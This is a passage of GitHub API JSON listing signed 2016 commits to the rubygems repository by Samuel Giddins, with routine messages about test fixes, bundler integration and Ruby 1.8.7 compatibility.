Util\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","html_url":"https://github.com/rubygems/rubygems/commit/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a529cf50c7f0df159bc33f1ec34cb8f7ae9a81d7/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0b6befedc9ef63b20d4264de081fca5a6d8ac018","url":"https://api.github.com/repos/rubygems/rubygems/commits/0b6befedc9ef63b20d4264de081fca5a6d8ac018","html_url":"https://github.com/rubygems/rubygems/commit/0b6befedc9ef63b20d4264de081fca5a6d8ac018"}]},{"sha":"c2cf4b5ad71ff9dd7b89a876d5299a38b3cb442c","node_id":"MDY6Q29tbWl0NjE0MDcwOmMyY2Y0YjVhZDcxZmY5ZGQ3Yjg5YTg3NmQ1Mjk5YTM4YjNjYjQ0MmM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-30T15:19:14Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-30T15:19:14Z"},"message":"[TestCase] Address comments around ui changes\n\nResponse to feedback on https://github.com/rubygems/rubygems/pull/1674","tree":{"sha":"dbafe5f4a87f74a788ea1590a54824f46d0e40ea","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/dbafe5f4a87f74a788ea1590a54824f46d0e40ea"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c2cf4b5ad71ff9dd7b89a876d5299a38b3cb442c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXnMVyAAoJEAEZW7MV3ahWOx4P/0HmkpQzRGU3OwYORQip7YZh\n1KS3K4IC+xEjiWW4i1rbTLTAf6k4sBKefbBE8SJUrYHJs/XAhY9SgtgFPVNxyRDM\n/S+Gi88j/XYmnvPipHPefQQ88R+mds7h8wAMpxFjBFKs1ZWp7N5WydrhWM46wdyk\nU95ZEU2y9iZEnqbc5M/nS2/zWmDCzxabF1y2W2ij4TMUHwMYBG4lqABV1kJjFkE0\nZqJAcbyKY2Kr9n1q15vL1wpgmB3mqONdCWVn9L10jRaJ6U3n6ufAjMgI7wasw9Jm\nhkNPDFTkbs7W1NXe2CHZzTxIPK+/z0kudwtqqOx54t9qMBfwJxHi8l6N60Bk3/9y\nmbz9FDkBycWbprogsuo7lvaJTZIN1TkO4Y2m4+c4fIcJbHUljpKzfSdz+g3bxS0l\n5hIXZhb+hT8gTygOzsnZQ64lMHa4LAv7a5WmSkGgSwPfgDzX/tjUs1WKDlD5DdTj\npJ3EzU+LyvKiebt4dKwyeqyuXtc0ckwkismBqHiZiNhzuF0cGpg3Bp9haVnIA5ve\nI7FKhcXU7Pui9sctiRNKqknyhLPJZClko0iQIQT85+vOMgMR3rYNInHjyptKeuAg\nKIwzOgmwFUJ4wpL2fG2faQrb+GBm5bBKsVWrihCKxj9hyCOBWtkKZS46aBB5w8ao\nIKkxlajZP3QsDSrX3jVN\n=2LGF\n-----END PGP SIGNATURE-----","payload":"tree dbafe5f4a87f74a788ea1590a54824f46d0e40ea\nparent 0b6befedc9ef63b20d4264de081fca5a6d8ac018\nauthor Samuel Giddins 1469891954 -0700\ncommitter Samuel Giddins 1469891954 -0700\n\n[TestCase] Address comments around ui changes\n\nResponse to feedback on https://github.com/rubygems/rubygems/pull/1674\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c2cf4b5ad71ff9dd7b89a876d5299a38b3cb442c","html_url":"https://github.com/rubygems/rubygems/commit/c2cf4b5ad71ff9dd7b89a876d5299a38b3cb442c","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c2cf4b5ad71ff9dd7b89a876d5299a38b3cb442c/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"0b6befedc9ef63b20d4264de081fca5a6d8ac018","url":"https://api.github.com/repos/rubygems/rubygems/commits/0b6befedc9ef63b20d4264de081fca5a6d8ac018","html_url":"https://github.com/rubygems/rubygems/commit/0b6befedc9ef63b20d4264de081fca5a6d8ac018"}]},{"sha":"0334dc30d58f0d49f7a398e97864bd255d53c61f","node_id":"MDY6Q29tbWl0NjE0MDcwOjAzMzRkYzMwZDU4ZjBkNDlmN2EzOThlOTc4NjRiZDI1NWQ1M2M2MWY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:24:00Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-26T17:16:02Z"},"message":"Update test string for running on non-RUBY platforms","tree":{"sha":"8bcff0c6e2794230f3f7fdecf939ed40a9738bc2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8bcff0c6e2794230f3f7fdecf939ed40a9738bc2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0334dc30d58f0d49f7a398e97864bd255d53c61f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXl5rSAAoJEAEZW7MV3ahWhScP/0BoJwXCUXKrSGaVY2ZCnAJI\nEXoc8b23utzC2ekLbvHBpj618VA79saUeLifp/uNley4ge6x9kZcKxR0j31ijudV\nxtGr14vAwVCixskIv3kZdNi4fXItv6+ikc4wdqGBzsPpIqhk0Bcpgp+gE4k/DpmF\nduYgT+kAwbmyGXT9NH46O6li/bvRvAUvX/DuSzGjh4/aNTdMxA4wyX0kwBTEKtn3\nXr5MXcLBlYuH+JdmHP9vmCzHhFJvnc0jkkzUkTs/WkHLCafohhVzoz58b1PVDy+r\nRImlxzYKfLqBWZuNdkpKpu29Tzd+5B2wwixlAYh7Wrz3HtQIIJMgS2EfSrP1U19m\nsE+/irQtjL30pwLa5lngLJ7W7VFVOFschKIplaJlEXasZSgRasax3zszXMOwxAWX\nvRlwzSE0wjQ9G7DCD44qROCzBf14lxD9cWbfHQ1lf6oanPfCvz/CZIiCGWgZ4nvV\nf7GBlEYMZHraS5cZdjiLUtGr7cYoPs2ZfM7RxtBy9Nx8FYbYhpvNpI8TQUk/hRpQ\nbE9tSbwyurA05zpebt61pofnfsNdIVFd14FuBmPWg8NV4GOzIo7SAAzr8l76HglS\nmyn1fyAQ/IMDUohR7ScM0K/wneBjSl0GP0mstfVLz3sTPMrq1WxAinEufPexOf+V\nvKlSrSfJLSrRWK+LGfoL\n=j7tE\n-----END PGP SIGNATURE-----","payload":"tree 8bcff0c6e2794230f3f7fdecf939ed40a9738bc2\nparent 77320d5a8179117f456518c8e5c3edaa15412672\nauthor Samuel Giddins 1469481840 -0500\ncommitter Samuel Giddins 1469553362 -0500\n\nUpdate test string for running on non-RUBY platforms\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0334dc30d58f0d49f7a398e97864bd255d53c61f","html_url":"https://github.com/rubygems/rubygems/commit/0334dc30d58f0d49f7a398e97864bd255d53c61f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0334dc30d58f0d49f7a398e97864bd255d53c61f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"77320d5a8179117f456518c8e5c3edaa15412672","url":"https://api.github.com/repos/rubygems/rubygems/commits/77320d5a8179117f456518c8e5c3edaa15412672","html_url":"https://github.com/rubygems/rubygems/commit/77320d5a8179117f456518c8e5c3edaa15412672"}]},{"sha":"77320d5a8179117f456518c8e5c3edaa15412672","node_id":"MDY6Q29tbWl0NjE0MDcwOjc3MzIwZDVhODE3OTExN2Y0NTY1MThjOGU1YzNlZGFhMTU0MTI2NzI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:27Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:41Z"},"message":"Call into the bundler postit trampoline in Gem.use_gemdeps","tree":{"sha":"8f4f621143f4535f0de1516f9c1e059234a87c0f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8f4f621143f4535f0de1516f9c1e059234a87c0f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/77320d5a8179117f456518c8e5c3edaa15412672","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXloF9AAoJEAEZW7MV3ahW678P/00Ls7VxDI9t7S4OJfuYBngV\nXkJOKG0N6NydEOCy54q0bfzJclPcLyCr9T+TncMZXLYL1H2zLaeaw2ThPe+EA+Ew\n9uJNttoWfL5OGvovBtJBL7lJtuNcmFYnrO4rE+z9ObtMtzZlsaeDsMLq8BH5iOgX\nRnYxJujDgABg/V02dJ5xh7nXH9OIDoC/XAKLoacbrLzxbG9nO6O8zZEWGsTa6rNs\nK4R+XZ+pcdGw3zQ86cKeDUvJy5wUvWMUDxKkhpi3x6PTFTPnw4H11qPhW6AJvGJm\ngToEynWUXRqQg2eyByEv30OO/bwclkKZ8pL4wMr/ZlrSfejzZx7XG2jZpFKIaJ7e\nqeOhexllCcY0EUizXd1u87EP9dvvaoWgpNV6j/3X6cOAHIGLT5bWnvTNdQRhyi3z\nJ2alIlMAjojwykjh3q7kWsHZOKbWlZtVD4YzULexKApY9b5jeCiU7301BQh5M7jo\nQZOAeWtuDvtiLsGXp4moXM/mTj9gJ2HTj1Tk8hNVtdvPROm/6N/a7/Y2NqnSxYXj\nqcBNJMfqvWAmZnwfls5vQ3h+j47Mqnmz+Lwcsw+LypSe6/mSZamdj5jHtOLaYZOP\nccNH2J2d5rmzZ5rORZ47YbaYUG/J/QSJ+j31MrpIRp7DVNAPedAa+zNuWwLzwSDt\n9/Y2pMo8npfOGHOwYJNx\n=K0Mh\n-----END PGP SIGNATURE-----","payload":"tree 8f4f621143f4535f0de1516f9c1e059234a87c0f\nparent fc43a28779559ec49697e6d98a305599dfcbcc7e\nauthor Samuel Giddins 1469481327 -0500\ncommitter Samuel Giddins 1469481341 -0500\n\nCall into the bundler postit trampoline in Gem.use_gemdeps\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/77320d5a8179117f456518c8e5c3edaa15412672","html_url":"https://github.com/rubygems/rubygems/commit/77320d5a8179117f456518c8e5c3edaa15412672","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/77320d5a8179117f456518c8e5c3edaa15412672/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fc43a28779559ec49697e6d98a305599dfcbcc7e","url":"https://api.github.com/repos/rubygems/rubygems/commits/fc43a28779559ec49697e6d98a305599dfcbcc7e","html_url":"https://github.com/rubygems/rubygems/commit/fc43a28779559ec49697e6d98a305599dfcbcc7e"}]},{"sha":"fc43a28779559ec49697e6d98a305599dfcbcc7e","node_id":"MDY6Q29tbWl0NjE0MDcwOmZjNDNhMjg3Nzk1NTllYzQ5Njk3ZTZkOThhMzA1NTk5ZGZjYmNjN2U=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-19T22:31:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:41Z"},"message":"[Appveyor] Update submodules","tree":{"sha":"3992e5f9c61be6c4d1acafbb87438ab86b97d5c0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3992e5f9c61be6c4d1acafbb87438ab86b97d5c0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fc43a28779559ec49697e6d98a305599dfcbcc7e","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXloF9AAoJEAEZW7MV3ahWV3UQAIdjBwA7DbqxP6UU0l5RCJQq\nOj4s4vh4eRyJcuMb5qbCM2GO7cj8rs6gpiJxO1HAC+j2eJN6EQX1iJv72r976EOb\ndbe4kOthh1Ni1iyPMmM6MY/ums9IUAV/uIgwqUjhLC3WrWwB5U2aZA0jkzvY1swx\nhmzAPqyBupYh6SbvQy1WYT38genOPOT1sTi/i0OY9AGae9FsdMIHW6NkFCrfHpFK\njJRQs0fwuFoVe6DIgFxzTk7J2us00od5XHggcD02TjOJ8mrDmaZujz+xdX40rEzs\nfyoHu0Wd3BF8UdtwJoxbpf/yUGBNA+Tkz8E4/scyTKXKJi9tv48OFTDVqtFQOHdB\nyRj5S9u0rKPfyj//7NfSEdyBcxHGE4GP/NPnJ3VzKBzHQRaAkXDyuG7cIJSLyToz\nyXoXwOiwa7SG7UCTx8amaKg7dFAsLu4FIt19Dj+94ERv8YtBWR9kYJeI6VEMzV5N\nhLuglj6B0jw6Bmb1owVXKS4Eq02Kjrx8DhDe51vIQNDN97GZHKadUbze2BpXk37U\nr+1heCyxuQoUzRuX+liFGGzxRy0kofsbqMF3ixlWzxVfYXjqhLPYdSG/fyGirfhP\n4V2vkzkN/KW+F7hHtOvOOqRedzS3j7OHbUwDzmUGQvTDfMsJYOn1OcnQaIYrvld/\n6NTKjtypRKNlfWsesnPO\n=1fD1\n-----END PGP SIGNATURE-----","payload":"tree 3992e5f9c61be6c4d1acafbb87438ab86b97d5c0\nparent 764f5fe8406bcdfaccecd98ad747affafb332007\nauthor Samuel Giddins 1468967500 -0500\ncommitter Samuel Giddins 1469481341 -0500\n\n[Appveyor] Update submodules\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fc43a28779559ec49697e6d98a305599dfcbcc7e","html_url":"https://github.com/rubygems/rubygems/commit/fc43a28779559ec49697e6d98a305599dfcbcc7e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fc43a28779559ec49697e6d98a305599dfcbcc7e/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"764f5fe8406bcdfaccecd98ad747affafb332007","url":"https://api.github.com/repos/rubygems/rubygems/commits/764f5fe8406bcdfaccecd98ad747affafb332007","html_url":"https://github.com/rubygems/rubygems/commit/764f5fe8406bcdfaccecd98ad747affafb332007"}]},{"sha":"764f5fe8406bcdfaccecd98ad747affafb332007","node_id":"MDY6Q29tbWl0NjE0MDcwOjc2NGY1ZmU4NDA2YmNkZmFjY2VjZDk4YWQ3NDdhZmZhZmIzMzIwMDc=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-15T18:37:29Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:41Z"},"message":"Update to a bundler with 1.8.7 $SAFE=1 compatibility","tree":{"sha":"50cec04af6826fa4d32c72e2c86a95c2461ce1d3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/50cec04af6826fa4d32c72e2c86a95c2461ce1d3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/764f5fe8406bcdfaccecd98ad747affafb332007","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXloF9AAoJEAEZW7MV3ahWCO0P/i2q61+9xf2Ex74MOAAzrxSL\nnm+KzXMV/SDPthrSPBpfpUvgwt768TMUgNs+xlwE/aL0Xoni9n889TsK5PrYUR8B\n26RiOQmHW738K4FeolvGviX0wFmedIjjP6WmSCyybPZZOxdTpB1EzO9dW7Z8xdZJ\nv/VtexZMW3ptWJEQhIFm65UpcEWO1+94KGcIjk4LzGIu2ZYPASHhueIi8G/8lBsC\n8mcujlik/0oTzOzo1cjA5CkMcC1Rn0tyeHvP2l8j34eXvmKVA3AdCzItmiY4nDpX\ngLK3pto2/YOZKbvr4w+QxfaU5nSfP0lr7RJ7XDpsv2yq7ghOXQt1mZRqLE1UG6ht\nxaqsrZopcyNAg1xm744gTQjnQtzlohuhMbfHj2xgWeHA2TsSJJA3pAIblapnf8+v\nrCoX/zFgglY8LhJhPGVq8aD2uDsniJU/ZGiSdoSHdQD9PDe1ThnaPAjwB7Lvb8e5\nVArJBPvJkiQbtVG/cIYsmTZ4IvPZ1tQvKRL4//XNgXDuzCv8TbICYmjOXk2ClSQa\nI7BdwqsO0RKRU5PJzNLrvwRRO41OIuXnzNvF1epDWuzQIxo54uKjYWvAGH+ZOv9t\nB8lODkAagF15l7nz7JI3T1VdicytgBdLz/f+nDqtJIF68YPonoMiT5on2z6dALzk\nEmt5jqQDB+9yjqgtNay/\n=mwF2\n-----END PGP SIGNATURE-----","payload":"tree 50cec04af6826fa4d32c72e2c86a95c2461ce1d3\nparent 1ac4cbc9fc806cbceac964b37ba6582d5fbe597c\nauthor Samuel Giddins 1468607849 -0500\ncommitter Samuel Giddins 1469481341 -0500\n\nUpdate to a bundler with 1.8.7 $SAFE=1 compatibility\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/764f5fe8406bcdfaccecd98ad747affafb332007","html_url":"https://github.com/rubygems/rubygems/commit/764f5fe8406bcdfaccecd98ad747affafb332007","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/764f5fe8406bcdfaccecd98ad747affafb332007/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","url":"https://api.github.com/repos/rubygems/rubygems/commits/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","html_url":"https://github.com/rubygems/rubygems/commit/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c"}]},{"sha":"1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","node_id":"MDY6Q29tbWl0NjE0MDcwOjFhYzRjYmM5ZmM4MDZjYmNlYWM5NjRiMzdiYTY1ODJkNWZiZTU5N2M=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-12T04:11:39Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-25T21:15:40Z"},"message":"Account for LOADED_FEATURES not having full paths on 1.8.7","tree":{"sha":"bb9784d065ee785c29c0c35bcba13a03bc967373","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bb9784d065ee785c29c0c35bcba13a03bc967373"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1ac4cbc9fc806cbceac964b37ba6582d5fbe597c","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXloF8AAoJEAEZW7MV3ahWVA0P/1B3Tu7APjDGLxflIRVxb6MG\nCrqlyG4NI1fOydgXqQZMqcwGqjKz/MYvgbTib7XWPoYLuFMSWuhdxPSMHamhsCGp\nfi2scJIl59NIzxvKpkc1rdV8RivVxmEsyujzJCPa8T49ZJeK/xuolzEt65e+FczE\nqSNdJo52OjJ5J3H3wUhKV/m/GUzmP/fr491b3SNZoVaGaz0BUdyfMdmYctPsiKa7\nPfs/HsJ/+Xkhzy+sXsJ0MJ8wt5ewKqlj07fnrw4CHxg+qCwC8PXz6QM5q1SRuSFg\n0eZSFCX8I2MmBLd9ag6jaIMazpZcE6U4z8qqbitaYHFiiHwxV9/tuUqrv4BPhgWP\nHcEcn2RAY6RNDDECxBYkSc+2rEpC0tW5idqtP5oTkY9EFYEUYMXUFQE7YjD477QJ\nOq8XIEIoyJEkfroYDNFLo5jHZ3iEdZse44PA1JzIEC5uK8dvxwdvUXX1IjaX1KTi\nMj1cubVG9pSMIUIE7Q7GPOyTU6Vy2I9u1E0OtkS4gc/k1lO1vep/9HrdBm/sj2Yv\noAMxH7fGW/UWgAiWDqWeqIYJyQpfMFsz5B4+5ICnnLAfcHVxAm5LIyTaD/GssOr3\nnwAQuzB+MBZobbWGXeGDZzTsCGPUeQSQZiXkSChRFnlAwktV30pEghTzdKLiIs6w\nj5wIZo240yWaovkYDOWz\n=W2bi\n-----END PGP SIGNATURE-----","payload":"tree bb9784d065ee785c29c0c35bcba13a03bc967373\nparent 0995ec974e3aae9d9130ca62b26cb387cd116f48\nauthor Samuel Giddins 1468296699 -0400\ncommitter Samuel Giddins 1469481340 -0500\n\nAccount for LOADED_FEATURES not having full paths on 